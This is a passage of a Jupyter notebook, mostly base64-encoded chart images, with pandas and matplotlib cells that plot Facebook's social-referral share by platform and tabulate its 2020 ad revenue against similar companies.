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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB27.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "z = list(df.iloc[:, 2])\n", + "a = list(df.iloc[:, 3])\n", + "b = list(df.iloc[:, 4])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(15,10))\n", + "width = 0.1\n", + "\n", + "# Plotting\n", + "plt.figure(figsize=(15,10))\n", + "plt.grid(axis='y', color='g')\n", + "plt.bar(ind, y , width, label='Q1 2019', color='r')\n", + "plt.bar(ind + width, z, width, label='Q2 2019',color='b')\n", + "plt.bar(ind + 2*width,a, width, label='Q3 2019',color='g')\n", + "plt.bar(ind + 3*width,b, width, label='Q4 2019',color='m')\n", + "plt.bar(ind + 3*width,b, width, label='Q5 2019',color='m')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Platform\")\n", + "plt.ylabel(\"percentage of social referrals vs other platforms\")\n", + "plt.title(\"Facebook percentage of social referrals vs other platforms*\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook 2020 ad revenue vs similar companies" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Company Ad sales(USD billion)\n", + "0 Facebook 84.0\n", + "1 Google 147.0\n", + "2 ByteDance* 37.0\n", + "3 Alibaba 27.0\n", + "4 Amazon 21.4\n", + "5 Tencent 12.5\n", + "6 Baidu 11.0\n" + ] + }, + { + "data": { + "image/png": "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